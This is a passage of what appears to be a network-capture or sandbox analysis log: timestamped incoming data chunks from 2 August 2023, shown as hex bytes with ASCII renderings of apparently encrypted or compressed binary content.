80 e5 ea f9 d6 23 96 2f 29 e6 37 89 bb 9c de 69 8b 2c a6 02 6b 26 c0 2c 61 9c 7f 69 d5 97 61 91 98 1b 1e 12 1b cf 6c 44 1c Data Ascii: UK!fWqRAd1B+VUZ$.-dT}[[7~3ud#nVCW@R&T\|5<U}UGK=7vcy0;gngyoZ2n-<\|}9FP&.30$MqftU#/)7i,k&,aialD
2023-08-02 08:46:24 UTC	786	IN	Data Raw: 17 c5 98 98 c4 b2 52 79 c0 5b ca e0 f0 b9 97 d7 be 1b 78 72 9c 48 e1 cc 0c b7 87 b0 c4 52 b3 6e 7c 0d 61 f2 75 8b ff 06 39 51 6b dd d7 c6 bc 5c 7c 24 0f 41 71 5e b7 c9 a9 76 0e 8c 46 55 f8 21 e9 3e fd b3 64 d5 71 eb 7a 3f e8 29 a7 1b b3 00 7e b8 8a 4d 0b 39 f7 93 1c 6f 4a 92 30 12 e9 52 f1 b1 0e a7 8d 1b 86 cf b2 6c b1 ba f3 8a 99 e8 78 20 c5 e7 ec 61 14 c7 ba 67 2b c9 fa 1a a0 f5 ce b5 f1 bc e6 5a dd 48 67 f6 29 66 46 07 4c bf 71 0a e1 ac 77 46 ca 74 70 5d f6 3c 3e a1 c9 5b 4d 2d bd ed 94 42 41 35 21 aa f4 b1 ca 66 f8 b3 c6 47 85 6a b1 04 e3 07 ed cf 52 6a 8d 08 16 62 02 73 cb e1 43 f0 ed 32 ca 14 16 ee 97 91 2b a4 c6 b2 aa 48 bf ef cf 52 c7 ab 11 fd 26 15 d2 aa f2 38 ff 16 4b bb c0 f2 be 50 3a ba 71 20 dd c3 23 97 74 13 ac d1 b6 d6 bc 78 98 07 12 cd 10 Data Ascii: Ry[xrHRn\|au9Qk\\|$Aq^vFU!>dqz?)~M9oJ0Rlx ag+ZHg)fFLqwFtp]<>[M-BA5!fGjRjbsC2+HR&8KP:q #tx
2023-08-02 08:46:24 UTC	802	IN	Data Raw: 8d 71 dc c2 dd 74 f6 15 b0 f8 0b e5 c1 3b c0 80 3b 0c 50 56 f5 d0 89 19 1e eb 12 27 0e 42 1f 47 08 b0 5e ab c1 c4 cd 0a d0 ea c0 e6 9e 91 8c e6 b9 9a e2 5b 3f cc 8d b8 63 fb 64 e8 81 af 7e 94 fd aa 13 e9 70 0d 18 c0 55 2f 41 0c 76 fa 60 21 ce 73 b5 b8 bd 76 f8 d5 1d 69 f7 29 e7 14 4f 2f d1 44 dc cd 41 91 86 93 9b b0 a8 bf 99 9f 09 4c a7 17 83 b6 03 03 f4 0b 7e 50 44 1b bd 13 4f d8 38 f7 6a 23 4d 5a 3b 4e d9 07 0b 12 e8 05 60 47 c3 c7 98 ed dc 26 fd 42 db 9b bb 48 a6 02 4e 76 72 23 96 6a f6 6a 42 e7 5d 01 cc f6 37 9b 37 26 16 a9 3b 8c ef 49 3b d6 20 9f de 41 c3 95 e7 61 93 7c ce 1f 29 15 1b b9 ff 9d 6f ef 81 d3 de 69 a6 20 2f d5 7b c3 bc 4a f1 48 f3 df 90 e8 56 b2 9d de 5e 3d 95 c2 96 44 56 8d e2 f4 85 6f 61 69 4d 11 54 43 b1 29 8c 99 cf 46 16 5c e6 2b 57 Data Ascii: qt;;PV'BG^[?cd~pU/Av`!svi)O/DAL~PDO8j#MZ;N`G&BHNvr#jjB]77&;I; Aa\|)oi /{JHV^=DVoaiMTC)F\+W
2023-08-02 08:46:24 UTC	818	IN	Data Raw: f5 67 ba ad fc 75 91 a4 6e e1 a3 39 d6 e0 9e fd 28 1d 56 98 e1 4b 03 9b 6b b4 ae 54 77 1f 54 58 f5 07 c0 eb eb 9e 05 ed 51 51 de 61 f3 e2 67 10 9b 9c 84 84 50 c1 11 99 20 2d bb f4 cf cf fb f1 87 13 09 52 8b b3 d8 b3 b4 19 72 4e f9 6b 2e b4 f5 88 c2 54 59 01 b3 b7 1e 26 91 83 a7 d6 8b 8c f2 c8 1d 70 15 8e 8e d7 b7 0c 81 40 e9 2b 5c 0b 40 02 81 0b 74 46 28 c2 f8 66 a9 7c 3f 03 a4 77 70 7e a1 88 49 98 51 8f 2e 00 e9 51 64 22 06 43 0a 68 c1 6c 85 34 a6 fa 5f c7 9e bf 71 57 8d 0b d5 bd 3f 28 cf a0 3c 34 21 7e ca c5 5f 93 e2 4c ae 55 db 99 85 ee dd 4b 92 6f a9 86 fc a4 83 b1 9a dc a6 89 00 6d 1c 4a ff a7 f0 64 ff 17 f7 93 4a 85 85 14 3f 5f 16 3c ea 60 6d 1b 36 7e 96 3b 78 80 d7 db 2a 10 bc 5f dc 81 1e ca 95 b7 0e df ac 05 f7 7b be 3f 45 76 b8 ac 4f e9 ef 97 7e Data Ascii: gun9(VKkTwTXQQagP -RrNk.TY&p@+\@tF(f\|?wp~IQ.Qd"Chl4_qW?(<4!~_LUKomJdJ?_<`m6~;x*_{?EvO~
2023-08-02 08:46:24 UTC	834	IN	Data Raw: f6 45 2c 82 6c 95 60 da f1 e6 40 ae 5d 3b 13 be 85 5c f1 96 ab 91 33 16 fa d7 7f 94 c0 8e 41 5b 49 68 73 80 54 81 01 b9 da 9f ca 6e e3 10 f7 99 6c 81 7c 52 5a cc ed 67 d4 d9 3a a7 43 24 39 b8 64 11 89 0c d4 f6 b7 70 a7 8f 51 30 9c 1d 63 1b 78 18 dc da b7 f9 34 21 43 e4 cb 5a 59 b4 99 8c da 41 ec 5d ae ef 10 93 0b eb 5d 37 8e 93 09 40 20 5d 34 46 3c f6 34 e3 68 05 44 78 05 fd b9 aa 7f 5b 2a e7 67 8f a1 3a 64 15 9d 60 a6 09 34 c9 65 e8 47 a0 f2 18 67 2c 43 ea 60 e9 69 27 5c 13 48 5c 02 80 a6 c5 d3 f2 9f 47 fa 8a 20 f3 6d 36 7a 49 49 27 50 c6 e1 ae a9 17 4b 53 fd 9b e4 78 4d 08 b8 fc 18 81 0d 90 9f 59 ca c4 03 48 5b f6 6f c7 54 20 91 98 9f cf 38 bf 3a ce b3 6c 7a f1 d3 c0 c6 59 c4 19 4f c2 55 2d be f1 6a 15 6c 59 34 e1 5d 0a 42 53 21 79 b0 f4 cc 10 1f 21 7e Data Ascii: E,l`@];\3A[IhsTnl\|RZg:C$9dpQ0cx4!CZYA]]7@ ]4F<4hDx[*g:d`4eGg,C`i'\H\G m6zII'PKSxMYH[oT 8:lzYOU-jlY4]BS!y!~
2023-08-02 08:46:24 UTC	850	IN	Data Raw: 99 9c 81 16 c4 91 f3 28 eb cd 33 8f 1c 53 69 11 68 3b b6 3f 40 17 d8 12 de 98 bb f3 3e a8 3b a9 14 aa 77 fc a0 bb 3f 38 de d6 9f 88 b1 9e 3b b3 92 bc 49 a6 2f 59 97 9c bc 7f 12 91 4d 9d 2d d4 ec 8c 2a 37 32 2b 90 99 c6 02 02 de 0d 92 75 8f be f8 60 0c 0b 4a 9b 60 7d 0a aa be 7f 40 75 6c f8 74 68 25 3e 01 11 96 3c 22 1c 92 99 c9 77 7f c8 e6 93 cc 9f 63 b1 42 da 04 fa 1b f4 78 6e a1 78 d7 dd 0d b5 96 6c 22 c7 57 45 28 06 18 68 80 58 3a 2b b3 27 ed 9e 55 13 1b 81 f1 d5 6b 88 1f 61 8e 95 0b db d1 a2 ac d7 c7 36 6f 2b 5b 7b f2 03 4b 12 d5 57 43 d0 c2 01 da c1 46 b2 8e 60 a0 c9 86 19 96 3e 3e c8 22 b3 cd 72 56 3b f6 85 08 bb 56 ea 9a 09 09 25 3b bb 38 e2 61 84 0c de a7 b5 8a be 02 e7 a9 bf db c6 84 7e c8 e2 f8 42 18 ae fb f7 16 51 e7 d7 f3 17 1e ef f2 84 76 31 Data Ascii: (3Sih;?@>;w?8;I/YM-*72+u`J`}@ulth%><"wcBxnxl"WE(hX:+'Uka6o+[{KWCF`>>"rV;V%;8a~BQv1
2023-08-02 08:46:24 UTC	866	IN	Data Raw: 74 ec cf 7f 50 2f 7b ea 5e f9 22 02 58 85 21 a6 b5 d3 f9 2c 82 c5 43 74 24 d8 84 d3 85 d2 91 4b 35 02 cd 7e 5b 55 e2 ef a7 00 37 57 9b 3c 93 04 62 01 93 f8 55 b0 4f eb 0f 42 87 e3 7a 19 02 15 c4 ac 3d 84 8c 13 20 b4 7d 1a a8 84 68 0c 5a f4 31 e0 c7 27 2c cc 1b 03 40 05 c8 70 32 0d 73 f8 2e b5 8f de 1e 2b 58 7f b5 fe 2a 8f 44 de 13 c0 63 8e 49 c2 82 ef 82 f9 d2 cd 75 4e 96 14 3b d8 6b a5 2c 40 ff f0 1f 20 4a 2e c1 7a 0c 14 26 e8 de 8e 0a b3 96 a0 35 6f 5f 86 90 bc 81 43 3b 72 bd 40 0c b9 3e fe 66 95 9c 8b b7 84 bf 81 2f c4 a9 c2 e9 20 a1 e7 ac 64 11 ce 61 25 30 03 89 67 2b 8d a8 53 df de 86 b9 97 02 65 aa ae 2b 9e b7 c3 af 3e 78 6b 9b 92 bc 22 13 8d 55 05 c1 17 1c cb 2f 45 a2 64 6c a2 dd 29 98 4d a7 79 66 ae 96 e0 8a 9e d5 a2 a3 07 cc 21 65 97 71 75 e1 3e Data Ascii: tP/{^"X!,Ct$K5~[U7W<bUOBz= }hZ1',@p2s.+X*DcIuN;k,@ J.z&5o_C;r@>f/ da%0g+Se+>xk"U/Edl)Myf!equ>
2023-08-02 08:46:24 UTC	882	IN	Data Raw: db 18 38 47 16 46 b3 8b ac e7 64 24 3a 9f 64 1e 01 35 c5 f7 28 50 9e 30 db 7a 67 ed 35 a4 95 06 25 ea b7 34 0c c2 bd c0 b0 ed 83 1d 34 25 d9 03 5f 5a 3a ee 52 51 2d c6 26 56 da 0f cb 58 6e c6 af 70 00 93 c2 cc ff d7 3e 78 94 07 e2 08 d3 31 b1 85 bb c5 dc 12 0b 5e ce 18 f9 db d8 12 08 ad ca d6 08 ed bd 30 2f 66 0d 31 a2 da 75 58 3f cb 18 fc ab e7 9b 12 1f a7 de 60 b1 a5 77 6f 4c 94 98 a4 b4 d6 fc 60 ef b5 97 18 2f 7e cb 31 6e 7d 0e 61 85 05 e8 05 df b2 6c 2d 51 f6 7d 6e 56 e0 d2 1a ce 0a 06 72 71 13 01 a1 c8 4a 34 11 f5 94 a7 b4 54 37 93 5a 24 66 b8 38 d9 e4 08 54 07 60 07 80 85 30 91 99 a1 94 d2 13 20 19 11 35 9c 0e ad 4f 8a ea 39 ba e1 f9 0c cb 82 0b 95 30 f8 38 2d 92 e4 f8 82 7c 46 91 29 03 d1 f8 33 a7 92 e4 b7 ca 4e 0c 1c 62 7a 50 25 14 51 10 4e c7 c1 Data Ascii: 8GFd$:d5(P0zg5%44%_Z:RQ-&VXnp>x1^0/f1uX?`woL`/~1n}al-Q}nVrqJ4T7Z$f8T`0 5O908-\|F)3NbzP%QN
2023-08-02 08:46:24 UTC	898	IN	Data Raw: fb 5d 84 a5 3c 10 e6 63 db d4 28 3f 90 50 15 f3 85 ec 9b 16 c2 8a a9 2b b8 a7 b1 ea e0 0d 26 c7 e0 06 88 ef 6b 21 a0 dc 57 95 71 74 75 1c 0e c1 e0 ea 28 ec 63 72 f0 7f 00 09 51 65 82 f2 da b6 70 19 7f 05 87 3e c7 f5 9a 6f ea da d8 4e eb 93 fa 38 3a ca 4a 83 57 b0 9e c1 14 6c d9 e5 52 30 fa dc e7 86 c5 17 bc 02 70 e1 53 f0 42 32 cd c5 39 88 20 41 49 ad f4 41 79 10 ce 40 da f1 9f 92 ff 0c cf 83 3a 7a 03 26 97 b1 86 58 6e 40 2e 6c 8a 22 ec 95 c9 d6 99 84 2f 3d 56 10 6e b2 95 ca 5e c7 a0 b0 46 b8 a8 9f 24 61 df d8 08 5c 96 95 83 82 d0 74 2e d0 87 5c e7 59 d0 db 8f c8 08 2b fb 65 5f cb 31 bf 0c 9a 5a a4 87 0d 1f b3 cb 80 f3 4e 27 26 a5 22 fc ce fd 0d a0 0c bb e7 3a a4 05 08 6a 3b b6 58 dc 54 d5 30 a9 49 52 46 80 6e f5 db ad 4d 0e 29 d1 42 db 54 ad e1 51 e7 fe Data Ascii: ]<c(?P+&k!Wqtu(crQep>oN8:JWlR0pSB29 AIAy@:z&Xn@.l"/=Vn^F$a\t.\Y+e_1ZN'&":j;XT0IRFnM)BTQ
2023-08-02 08:46:24 UTC	914	IN	Data Raw: a7 7e 5e 3d c3 96 f5 e9 23 6a 5d 8d 41 44 45 01 b7 52 b8 2f e6 b3 16 62 2d 9d d4 38 25 61 f4 17 8a 26 68 de 2a 99 b9 67 de e6 4f e7 ee e4 c2 b1 f8 1d 47 c4 a1 c2 de 62 1d 63 44 57 aa a0 90 38 10 1c fb 92 e6 8c f8 9e d2 92 1a 1f 6c ad 5c 83 94 50 2d df 41 e9 3e 2e d7 d9 74 17 8e 44 5b 7e 63 70 89 f1 2d 8a e4 bc 3c 5a 67 10 0e 3d 70 7d b9 5d 98 b2 22 e2 5c b7 88 13 ea af e4 69 24 c0 23 af 60 0a ba bd 9f 3b 7a d5 0c 14 f1 e2 ac c9 f6 37 73 c2 a5 75 d0 36 ff ab 4d 21 fa 91 1c 27 df 37 b7 f6 4f 45 7e 74 98 ee 18 d7 27 f4 8e 77 2c 30 af 14 45 7c 7f 25 e5 3c 5d e2 9e ce 7b 7d f2 7a 92 0a e9 ae d5 17 e6 b2 b0 70 42 c4 ab 19 39 83 af e0 9d c7 43 2d c8 4f 1f 14 63 22 30 95 00 e9 fc 98 d3 fd 01 2e b3 c1 5b ab 0c 19 d0 ac 92 7b be 26 3b 83 f7 ed 92 13 25 0d 4c d8 ba Data Ascii: ~^=#j]ADER/b-8%a&h*gOGbcDW8l\P-A>.tD[~cp-<Zg=p}]"\i$#`;z7su6M!'7OE~t'w,0E\|%<]{}zpB9C-Oc"0.[{&;%L
2023-08-02 08:46:24 UTC	930	IN	Data Raw: de ba f6 9c 6e b7 44 68 61 71 15 58 e2 78 95 8e 4e 5a 07 10 08 1e e6 42 eb 9a 8e f2 f5 2c d1 43 3e b0 07 a8 89 fd 01 8e 46 a8 76 ca ab fd b6 ee b5 4a 17 f5 ad c4 98 d1 d9 bc 2b 52 6b 48 8f f0 50 27 a1 6e 77 14 e3 f1 30 68 07 41 0b 7c 12 75 20 ec 6a 17 b7 ff 17 64 13 fd fd 7f 1f cb 2c b8 81 25 9a 62 d0 d6 b6 90 63 3c 0e 1b 01 99 b5 82 7d 55 49 b7 62 a6 6d f6 2e 52 6d 3b 14 03 dc 7d 1f d4 cb 41 a4 4e 1e f0 55 97 18 01 48 f3 b9 7b 14 73 c8 ee ed 70 43 87 c5 cc a6 9d 92 a1 96 dd 50 e9 4a 2b db 1f 0c 6d 8c 2d e5 de 2e e7 34 dc e7 ae 75 2b c5 44 51 49 17 1d 5b 29 5e 0e 33 82 75 86 43 71 b9 76 46 59 7e 05 54 4a 74 69 ba 0a 96 70 82 93 41 8f 29 b1 61 65 96 4c 99 3c e5 9d 69 48 bc e3 15 63 cb 57 3d 5b 9e de 64 5f c9 c0 d5 50 c7 2b ef 88 49 08 a4 6c b0 54 04 a1 61 Data Ascii: nDhaqXxNZB,C>FvJ+RkHP'nw0hA\|u jd,%bc<}UIbm.Rm;}ANUH{spCPJ+m-.4u+DQI[)^3uCqvFY~TJtipA)aeL<iHcW=[d_P+IlTa
2023-08-02 08:46:24 UTC	946	IN	Data Raw: 59 b2 c8 c0 54 43 1c 54 b8 5a b9 34 e9 ab 89 6c c2 54 57 19 a0 a7 8b 71 43 bc a9 94 4c 25 cc 0b 6d a7 d0 65 9c a7 32 f3 20 af a6 0d 01 0d c8 bd fe 1d cd 8a 2c 81 6c 21 0a 8d 9f 79 e1 5c 53 56 4e c0 3a 46 ed fd 71 46 e8 32 7d ad aa 34 31 7d 9a 1a 8d d5 b4 5c 16 79 4c 8b a0 28 ea a3 d8 f6 45 aa d7 fe ef c0 d3 d3 a0 c6 07 4f 1d e0 15 47 7b 47 61 60 da 8b 55 ae f1 8c 5c 69 79 72 de d4 4d 22 5d 43 8d 41 20 5c cf bd 09 f1 1e 22 be e0 5d e9 db b6 90 25 08 2f cf 38 21 c0 19 d3 bf 9b 96 f0 1d e6 94 79 28 c3 92 af 19 fe 48 15 18 e7 75 50 9d cf a8 5b d5 37 a5 5f 78 d7 51 0f 54 00 70 21 d9 aa 92 95 1f ba 22 a0 4f 46 4f 68 e9 83 1a 5f 5f 5f 29 87 2e 02 3a 81 fb 61 24 3f db aa 82 4f 7c 1c e3 54 ab ba 88 b1 67 0c 7c f1 6b 14 07 b3 a8 67 19 d0 54 ef 90 a1 ca fc 96 5e 5a Data Ascii: YTCTZ4lTWqCL%me2 ,l!y\SVN:FqF2}41}\yL(EOG{Ga`U\iyrM"]CA \"]%/8!y(HuP[7_xQTp!"OFOh___).:a$?O\|Tg\|kgT^Z
2023-08-02 08:46:24 UTC	962	IN	Data Raw: 6e 8d 18 bf bf 92 f9 83 6d b8 96 33 d9 60 f0 13 c1 01 05 cf c0 de f2 32 cc 29 92 57 85 b8 93 e9 cc be 0b 4c ae ac 26 f7 5f 98 ba db 8c 17 b9 10 9e 7f 1f b1 16 a7 7c 84 62 ea 62 6b e2 d7 1a cb 78 84 af f0 76 46 72 97 82 8c 2e 33 40 4d 1e ec 00 28 aa 58 cb 88 c5 bf b3 24 57 1b 9e 60 ea 35 5c f8 75 fd db 7d 8b 84 90 56 61 92 dd 1e 6e 37 92 7e 94 d5 3a a4 3c 68 5a 41 ce 16 6b 5c 5f 47 c7 48 02 cc 9d c0 86 81 23 e2 6e 43 d3 d7 9d 66 8b 31 d6 e5 51 ac 4a b6 3c 60 69 0c 94 a2 ae 7f 70 a3 76 b8 f4 31 2b 39 6e 59 6c 44 22 b6 52 02 a5 69 f4 81 0a e1 64 70 2b c9 a2 79 4b 38 2e 37 90 5b 4e 86 d9 69 c3 fa 76 14 90 71 bf 6a fd 3d 77 08 3d 3a 9b 87 9c 39 0d 4a 10 92 e2 e7 0d b8 dc dc 54 46 18 12 1b 51 20 f5 8e 62 20 4a a6 89 97 f6 fc b5 7a 33 bd d6 a1 15 8a 74 f8 c3 e0 Data Ascii: nm3`2)WL&_\|bbkxvFr.3@M(X$W`5\u}Van7~:<hZAk\_GH#nCf1QJ<`ipv1+9nYlD"Ridp+yK8.7[Nivqj=w=:9JTFQ b Jz3t
2023-08-02 08:46:24 UTC	978	IN	Data Raw: 33 9d 6f e1 ae 95 51 a8 2c a5 e3 e3 9b 1b 7d b0 d1 a6 cb 90 7c 03 53 99 15 2a fb 0d 14 2c ca 89 07 d2 4d 23 e2 61 7c 43 e7 58 1f 99 0e 1f 36 20 15 e9 f4 c8 ef f1 9f 86 28 fe 12 82 93 3e a5 1f 6e c9 85 45 fd da 79 50 de 3d 72 f8 0c bd 25 d1 73 62 a2 d7 b9 41 aa 94 b3 97 1f 2b a2 6d c0 9d bf 28 9a 0c f5 f7 82 ac dd b0 3c bb 15 ae 27 32 5b 88 6d 9c 19 21 a4 76 4e e2 42 17 d9 f6 2f 10 df ab 30 0e 70 11 ab ab 05 6d 87 85 99 df 89 c3 1a a9 25 54 08 8e 0f c6 4d 96 88 79 a0 58 48 d1 f4 3d b7 9e 71 56 ae 3d d2 0d d7 64 a3 00 38 6d de ff 0f 04 09 fd 10 de 0b c1 2e 0b da cc 11 51 41 4e 0b da e5 ce 54 cb 8f 54 10 1b 16 b8 36 c1 7a b5 dd bc 01 da 24 42 b9 75 10 74 12 23 47 46 e0 e3 71 49 48 ee 2b 40 15 02 77 2d f8 bf 4d 1a ce cc 33 3f 84 8a c8 ad 90 e6 a7 2c ee 04 a1 Data Ascii: 3oQ,}\|S*,M#a\|CX6 (>nEyP=r%sbA+m(<'2[m!vNB/0pm%TMyXH=qV=d8m.QANTT6z$But#GFqIH+@w-M3?,
2023-08-02 08:46:24 UTC	994	IN	Data Raw: b5 f8 30 21 e5 c4 ae f5 8a 20 7d e2 79 19 3a e8 82 41 4b d5 bc 22 28 db 4b 1c 46 6c 1a 3b f0 91 e6 e1 30 ac bc f8 58 b4 e0 a6 d1 d7 3b 07 da 8b 31 64 5f 11 ac 9d 3e f4 cb fc a9 60 a6 a1 75 dd f5 4e 38 30 ed e7 8e 2e 8e 57 3e 11 3b f6 96 d0 fb da fc dd ba ca 27 e2 3a 98 be 7a 9d e8 f7 db b0 27 8d 55 7a c0 37 e9 2b 66 4e fd b2 4c 2f 59 17 f3 03 bd 94 05 d7 67 30 fc df 40 12 e4 aa f3 58 41 e0 ad 7f 41 f5 f4 22 9b cd a9 aa 36 b3 04 1b 32 3d 66 8d d6 49 3d 4e a9 f5 9a c1 be 26 be e8 f3 56 c5 81 1f d2 b2 96 45 01 56 55 d6 11 14 e1 72 d5 10 ef 39 d2 44 fd 10 cd 85 54 97 6f d3 31 2f b9 33 ce 0c 2b e8 46 68 14 46 b3 64 64 a2 36 e4 55 b6 00 c7 ea 72 60 5f 63 29 ba 58 0b b2 9a e4 cc 85 74 8b d4 c6 dd c2 d9 eb 81 be f9 d1 7a d0 8a fa 4a 1c 74 00 4a 53 f5 d3 f0 3a aa Data Ascii: 0! }y:AK"(KFl;0X;1d_>`uN80.W>;':z'Uz7+fNL/Yg0@XAA"62=fI=N&VEVUr9DTo1/3+FhFdd6Ur`_c)XtzJtJS:
2023-08-02 08:46:24 UTC	1010	IN	Data Raw: 1e 45 7b 0f b7 2f 14 15 61 d5 1e a9 13 2b be 8c 1a 87 c7 c7 6c 10 33 57 71 a3 3c 9c 92 90 41 cf ab 23 81 b1 2b bc 1e e8 6c 22 31 31 23 4d f2 75 dc 75 9b fd 6c 53 12 93 b6 40 0c eb 7f 7e 5f 9c e7 da 80 84 e5 8d 97 43 b8 32 96 20 75 db a2 72 28 29 a7 a3 d1 ca 81 61 38 d0 60 27 26 02 cc b2 e7 24 7a 8c a8 0c 7b 66 38 09 a2 80 ec f8 e4 13 ba d8 08 ad 80 c7 e9 86 d3 ee ed cf b8 af 62 6c 2a 37 de 38 3c 98 78 51 23 96 e6 93 df 14 50 e1 7d 32 4d 3e 5e a7 66 6b 3d 9b be 5f c2 6f 0c f0 64 37 e4 4f 68 9f 62 74 dc 95 ad 19 f3 42 da 35 ef 85 db 05 c2 c8 12 f0 e0 39 64 73 a5 bb 41 95 6b ce 9a ae 4b 72 65 32 38 fb ce 3a 91 c0 67 01 30 97 c7 35 5d 89 04 11 56 37 c8 95 30 23 42 8e 2d 1a 96 84 78 93 a2 50 3f fb 85 6f 6f 9f 4a 5c bd 31 90 3a ee cc e1 68 1c 5d b0 ab 65 da 5c Data Ascii: E{/a+l3Wq<A#+l"11#MuulS@~_C2 ur()a8`'&$z{f8bl*78<xQ#P}2M>^fk=_od7OhbtB59dsAkKre28:g05]V70#B-xP?ooJ\1:h]e\
2023-08-02 08:46:24 UTC	1026	IN	Data Raw: 05 9c f0 5e cb 9f 62 e7 8d bd b1 5b 4c d9 51 9c ac 48 54 27 b0 e1 9e 28 5f db 11 f8 aa 01 8c b8 a2 6d bc be 5d 41 d2 1d 6e 1e b8 fb b6 86 2b 3e f5 41 06 f4 8a 92 fe 27 50 bd 59 24 7b f2 14 a8 50 32 b4 1f 39 25 d7 9c 65 00 91 30 2f a2 7a 0c 98 4c 7f 05 43 11 b0 14 31 26 b9 7c 6e 2a 33 e9 c3 cb 31 91 8e b3 d0 29 9d 58 60 75 f3 76 0b 9f ac e1 99 5d b9 d7 fd 40 1f cf cd 4f 60 5e c9 34 e6 02 a5 03 a4 b0 30 9d 18 d0 25 b1 0a 62 88 d4 f0 a9 c5 6f da db 74 16 e6 3f 9f 02 7b 68 77 39 f5 b1 97 d3 c3 8f 40 de 07 ae c1 01 d6 fe 22 9b b3 db 5e 56 72 4f d1 7e d0 18 9b 34 cb 17 a1 8e 02 9a 0e d3 54 e1 50 ab e3 d5 11 b8 b8 29 91 e6 ac c3 e3 eb f2 22 25 ae fb 29 b7 e4 c5 0c 05 1f 98 49 03 4a ae ed 3f 9f a9 eb 67 7a d3 04 9f 2e e7 ac ec fa fc 90 10 27 53 31 57 e9 7e 91 ac Data Ascii: ^b[LQHT'(_m]An+>A'PY${P29%e0/zLC1&\|n*31)X`uv]@O`^40%bot?{hw9@"^VrO~4TP)"%)IJ?gz.'S1W~
2023-08-02 08:46:24 UTC	1042	IN	Data Raw: f4 11 5f 5d 3d f0 2a aa 0d b3 59 98 01 dc 08 24 c4 8b 73 08 fe f9 42 83 85 fc 81 bc 70 9b 1f 87 c8 1b aa af 96 2e cc e1 9f 07 2d a0 14 02 50 86 d7 53 c1 5a 04 c9 56 e8 cb 9f f2 cc 5b d1 dc 29 4e 09 94 cf cf 62 9f be f5 12 1f fb 4e 05 2e 71 b0 06 8d 0c e8 a2 53 fc 4c 73 1f 3d 5b 23 b5 ca 39 d8 4b 7e 49 3f 47 7c 38 4f 44 13 f9 c7 56 c8 c1 37 18 07 ce 77 b7 a7 06 47 99 c6 1c 6c dc 2a 2b 1e 62 2d f6 2b b7 bd d8 df d9 f4 a2 de d7 df e0 5f aa d9 10 3b 72 5a 44 06 4f 99 c0 85 46 f5 e8 19 bb 2d 64 50 67 f9 43 22 8d 30 d2 85 ea a5 13 39 6e 16 6c 35 5c 5e c3 d0 26 b8 3a d2 2d f5 c4 25 00 c3 50 af 55 c0 9c 21 9c be 0a d9 1a b4 36 40 d2 3e f8 a1 c8 ce e3 84 f5 d6 0e b5 54 28 ef 7e 27 52 9c 9e a9 86 74 5b 36 35 70 13 0c 72 a0 27 72 a9 75 de c4 be 81 35 ca d5 dc 19 c0 Data Ascii: _]=Y$sBp.-PSZV[)NbN.qSLs=[#9K~I?G\|8ODV7wGl+b-+_;rZDOF-dPgC"09nl5\^&:-%PU!6@>T(~'Rt[65pr'ru5
2023-08-02 08:46:24 UTC	1058	IN	Data Raw: ea 06 15 2a 76 9b b6 d9 7c 9a f3 5d 0d d7 54 a1 56 e8 ad 61 c6 1e 7c 8b 83 b8 50 56 c1 55 68 cf c1 aa 88 79 b6 c0 84 fc 5e db e9 ec 55 a5 c0 20 24 b1 6d 07 a6 68 dc 5d 40 66 c2 86 f5 34 17 68 c1 3a 7e a4 e5 f1 c1 8f 8f 93 ba 4a f3 62 63 7b 26 3f 48 f1 9e a5 6a ac 77 bc 7f 57 28 9b 92 89 ea 5e d8 f3 73 e2 03 bb ed de 80 35 ee aa 1b fd 42 6e 4a 0d 42 61 27 e1 fd 33 4f 72 65 3c 5e 5b 4f 40 46 82 9d 37 dc e5 4b ed a3 e3 6a 0c 69 10 01 ff ba f6 34 8c bc a6 bf 92 0c af a3 78 ab 97 20 7a 9c 00 70 e0 c0 28 f6 d1 e9 e8 e9 8a 4b 3e 90 8f 88 72 fd 45 8d a2 c7 94 b0 42 e6 46 c2 67 5d d8 cd 40 f7 61 14 af a2 f0 98 8b 9d 39 d3 cc a5 bb 9d 6c e7 2a 99 0f 5b ec 78 6a 2f 66 64 b1 ee 56 87 49 03 82 24 5a 51 89 05 a5 cd 8a e7 ac 89 17 44 e7 b7 a1 90 fa 32 d8 80 2c c0 c3 88 Data Ascii: v\|]TVa\|PVUhy^U $mh]@f4h:~Jbc{&?HjwW(^s5BnJBa'3Ore<^[O@F7Kji4x zp(K>rEBFg]@a9l[xj/fdVI$ZQD2,
2023-08-02 08:46:24 UTC	1074	IN	Data Raw: 52 c9 45 a4 fd 9c 8c 7e de be 1c 4e 1c ee ad d4 8e 30 38 ca a8 b9 7b af e6 2a 72 8a 17 2b b6 f3 06 f4 97 de 95 fc 60 54 64 72 cf 68 6f e0 85 c8 28 68 e8 d2 55 0b 34 16 15 6e ed fd f1 ad 03 ee de 97 c4 a7 17 70 16 b7 8c fa eb 64 11 59 f9 1b fa a8 5a d7 6c b2 4f d9 6c 0d 94 49 b3 20 0d ef 84 13 43 ac 69 99 96 06 ee ea 0f 38 35 06 9d 83 b3 e4 f0 2f 7c af 2d 77 ed 31 8a a4 14 ba de 09 f6 10 8c 11 1e c7 f9 0b 3f 3f ce ff 64 4b 51 e0 8d ce c9 6f 60 31 4d c9 13 92 b8 24 15 88 04 c2 26 ca 4f b0 f0 fb 4b ab ff 47 c5 86 c9 c3 f3 77 a1 75 ae bb 6d fe 74 f8 db 65 66 f1 6a 0e b0 a6 2d 2a 5f df ac 82 ab 3b 87 b4 85 c2 a5 a5 18 71 72 05 5a fa d4 09 bd 0b 8c e0 a9 ad 73 28 23 31 df 72 e8 e1 79 3f e4 bf cf aa 88 84 22 89 21 3e 20 75 ad 7c 54 98 6e e6 aa 8a 42 3a 8b 3c 33 Data Ascii: RE~N08{r+`Tdrho(hU4npdYZlOlI Ci85/\|-w1??dKQo`1M$&OKGwumtefj-_;qrZs(#1ry?"!> u\|TnB:<3
2023-08-02 08:46:24 UTC	1090	IN	Data Raw: 74 c4 3c b7 c1 dc 25 82 18 66 3e 01 bc b4 bb cc 60 08 dd 1f 7b 9e 87 17 7c fa 39 8f 44 2c 88 b9 ac 96 21 00 58 0c d6 40 5f 9f bf 6f 9c d2 1e e0 84 6f ff b1 49 c9 7b 60 da 04 08 f1 bb 71 ff 9d 87 80 0d 1d 3b 7a 9a 4c 95 91 16 75 58 8c a5 9d 99 d4 2e 67 f7 31 68 50 56 49 cc 11 ed 46 8b 21 d9 ef bd 26 f2 51 ef e5 05 c4 6e aa 14 6b 9a ff 57 bc a6 90 9b 3c ed 9c 2f 4b 6a c2 ad 70 a8 91 b5 17 d8 51 1d 2d 7d 9b e4 12 f1 bd 16 95 34 fc 25 cc 4c 58 a1 c4 e6 0a ea c2 47 ef 3d 31 8e 11 90 f8 5b 0d b5 42 b0 ef 8b 2b 19 e7 1d 53 0a 25 c4 4b 24 90 0e c1 3d 67 3f 4f 71 94 63 53 d2 13 cb 54 3b 1c 60 91 54 f6 1b de 9d 